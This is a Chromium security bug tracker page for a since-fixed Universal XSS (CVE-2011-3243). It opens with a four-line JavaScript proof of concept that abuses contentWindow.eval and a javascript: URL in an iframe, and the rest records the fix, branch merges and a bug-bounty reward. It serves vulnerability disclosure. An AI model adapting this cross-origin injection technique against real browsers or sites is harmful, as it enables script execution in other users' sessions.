Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user
Status: Fixed
User never visited
Closed: Jun 2011
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

issue 83096

  • Only users with EditIssue permission may comment.

Sign in to add a comment
Universal XSS using contentWindow.eval
Project Member Reported by, May 24 2011 Back to list
Here's the UXSS variation that doesn't use execScript:
i = document.body.appendChild(document.createElement("iframe"));
f = i.contentWindow.eval('(function(){location="javascript:alert(location)"})');
i.src = "";
i.onload = f;
Blocking: 83096
Comment 2 by, May 24 2011
Summary: Universal XSS using contentWindow.eval (was: NULL)
From Serg's coment #30 in bug 83096

> @jschuh it becomes a different-origin window after eval() is called.
> eval() is used to construct a function with the context of that window.

Comment 3 by, May 24 2011
Labels: reward-topanel
Any chance you can tackle this this week, Adam? :)
Yes.  Sorry.  I got drafted into WebKit gardening.
Status: WillMerge
Committed r88071: <>

Let me know if you want me to merge the fix and to which branches.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Adam, you did the hard part. Please leave the easy easy part for us :):) We will merge it to m12 first patch and m13 branch.
Status: FixUnreleased
Merged to M12 at r88085 and M13 at r88086
Labels: -reward-topanel reward-1000 reward-unpaid
@serg.glazunov: great UXSS! We'll reward this separately from the execScript issue.
This is certainly worth a provisional $1000 Chromium Security Reward. Congrats!

By, we really like to fix UXSS issues so if you had any other clever ones, please submit them for additional reward :)

Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
Labels: -reward-unpaid
Invoice finalized; payment is in e-payment system; it can take a couple of weeks.
Comment 12 by, Sep 22 2011
Labels: CVE-2011-3243
Labels: SecImpacts-Stable
Batch update.
Labels: -Restrict-View-SecurityNotify
Lifting view restrictions.
Status: Fixed
Project Member Comment 16 by, Oct 13 2012
Blocking: -chromium:83096 chromium:83096
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member Comment 17 by, Mar 10 2013
Labels: -Type-Security -Area-WebKit -Mstone-12 -SecSeverity-High -SecImpacts-Stable Cr-Content Security-Severity-High Security-Impact-Stable M-12 Type-Bug-Security
Project Member Comment 18 by, Mar 13 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Project Member Comment 19 by, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 20 by, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 21 by, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 22 by, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Project Member Comment 23 by, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment